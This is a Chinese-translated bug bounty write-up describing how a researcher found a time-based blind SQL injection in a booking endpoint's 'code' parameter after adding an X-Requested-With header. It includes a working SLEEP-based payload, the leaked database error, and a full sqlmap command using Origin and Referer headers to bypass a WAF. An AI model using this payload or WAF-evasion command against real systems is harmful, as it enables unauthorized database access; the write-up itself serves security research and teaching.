文章总结: 作者分享发现某公开赏金计划严重SQL注入漏洞的过程。通过在POST请求中添加X-Requested-With:XMLHttpRequest头部触发code参数报错,并利用Origin和Referer头部绕过WAF,最终使用Sqlmap成功获取数据库访问权限。文章强调了特定请求头在挖掘此类漏洞时的关键作用。 综合评分: 88 文章分类: WEB安全,SRC活动,渗透测试,漏洞分析,漏洞POC
0126.我是如何通过发现公开漏洞赏金计划中的一个严重 SQL 注入漏洞而获得巨额奖金的。
原创
Ahmad Yussef Ahmad Yussef
Rsec
2026年2月4日 10:08 贵州
本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
声明:本文搬运自互联网,如你是原作者,请联系我们!
类型:特殊的HTTP请求头导致的SQL注入
假设我的目标是:
target[.].com
重现步骤:
- 发现一个 POST 请求 /Public/bookingAX.php
- 包含以下参数(task=unlockcode&lang=EN&eventnr=500&orderid=&code=500)
请求:
现在我开始手动测试 SQL 注入,在每个参数值后添加 ‘,例如,(task=unlockcode&lang=de&etnr=500’&orderid=&code=500)
- 我将继续对每个参数进行测试。
- 在每个参数后添加单引号’,没有得到任何结果。
- 回应总是这样:
HTTP/1.1 200 OKDate: Friday, January 30, 2026, 16:11:19 GMTContent Type: Text/HTMLContent Length: 96Connection: ContinuousServer: ApacheExpiration Date: Thursday, November 19, 1981, 08:52:00 GMTCaching Control: No caching, no buffering, must re-verifyPragma: No bufferingVari: Accept encoding
{"stat":true,"msg":"Enter global action code","fields":null,"errors":null}
好的,我们再用一些标头进行测试。许多公司通过在请求中添加 (Origin, referrer) 标头来验证对服务器的信任度(这些标头有时会让服务器更信任黑客,所以这正是我的意思,为了让服务器更信任发送请求的人)。
总之,添加这两个标题后,它们将如下所示:
- 来源:https://dedicated[.]com
- 来源:https://dedicated[.]com
- 现在让我们通过在每个参数值后面添加单引号来再次测试参数。
是的,也没有任何结果🤔😁。
回答是一样的:
让我们转向更技术性的方向,使用更多的头部信息:
我使用的标题的力量,让我们来简要说明一下。
经过多次测试和许多标头,我发现了一个非常有趣的标头,它叫做:
X-Requested-With: XMLHttpRequest
- X-Requested-With 标头是一个非标准的 HTTP 标头,主要用于指示 HTTP 请求是通过浏览器使用异步 JavaScript 和 XML (AJAX) 发送的。
- X-Requested-With (XRW) 是一个非标准标头。当用户安装并运行一个使用 WebView 嵌入网页内容的应用程序时,WebView 会在发送给服务器的每个请求中添加 X-Requested-With 标头,其值为应用程序的 APK 名称。
关于这个标头,我就不多赘述了,你可以自己去谷歌搜索一下,了解它的工作原理、验证方式以及可以添加在哪里。
[译者注:
X-Requested-With标识 HTTP 请求的来源类型,帮助服务器判断请求是来自:
- 普通浏览器导航
- AJAX/Fetch API 发起的异步请求
- 移动端原生应用
- 第三方脚本或工具
其中X-Requested-With:XMLHttpRequest用于标识ajax请求
服务端可能的代码(PHP):
// PHP示例if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { // 获得权限} else { // 拒绝服务或者鉴权}
猜测:服务端使用X-Requested-With校验权限了
]
但请听我一句劝告:
当您看到支付功能、预订功能、活动功能以及其他一些需要从请求中检查更多信息的功能时,请务必添加此标头 X-Requested-With: XMLHttpRequest 。
现在让我们继续进行以下步骤:
- 现在,在我的原始请求中添加 X-Requested-With: XMLHttpRequest,将会是:
包含标头 X-Requested-With: XMLHttpRequest 的完整请求
- 回复如下:
添加请求头后的响应与第一次响应相同,没有问题。
现在让我们重新开始手动测试,在每个参数后面添加单引号,看看是否有任何参数容易受到 SQL 注入攻击!
- 在代码参数的值中添加单引号后,我看到了这个回复😱!!
- {“stat”:true,”msg”:”Database Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’500’’’ at line 2: select * from promouses\n\t\t\t\twhere eventnr=500 and lower(code)=’500’’”,”fields”:null,”errors”:null}
- 耶!很高兴看到这个!!!数据库出错!!!很有意思🤔。
完整的请求和回复:
添加 X-Requested-With 标头后的完整请求和响应。
- 接下来是漏洞利用部分,我使用了以下有效载荷:
500' AND (SELECT 9590 FROM (SELECT(SLEEP(8)))XFQD)-- rWRS
- 成功了,但当然这还不够,让我们打开 Sqlmap😈,看看有没有什么 WAF 之类的东西返回来,把数据库搞得一团糟!!!
- 正如我所料,出现了 403!
- 通过以下命令完全绕过了 WAF:
sqlmap -u "https://dedicated[.]com/public/bookingAX.php" --data="task=unlockcode&lang=de&eventnr=500&orderid=&code=500" --cookie="PHPSESSID=Your-Cookies" --headers="X-Requested-With: XMLHttpRequest\nReferer: https://dedicated[.]com/itsec\nOrigin: https://dedicated[.]com" -p code --level=3 --risk=3 --technique=T --dbms=mysql --time-sec=8 --batch --random-agent --threads=5 --dbs- 是的,您必须始终添加 Origin 和 referrer 标头才能尝试绕过 Waf。
sqlmap 的完整漏洞利用程序,返回数据库:
完全数据库访问权限。🔥
各位,就这些了,希望你们喜欢。我尽力让文章简单易懂。如果你有兴趣加入我的私人频道,可以点击这里查看详情 :https://t.me/a7madn1/141
感谢阅读🥳
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Rsec Ahmad Yussef Ahmad Yussef《0126.我是如何通过发现公开漏洞赏金计划中的一个严重 SQL 注入漏洞而获得巨额奖金的。》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论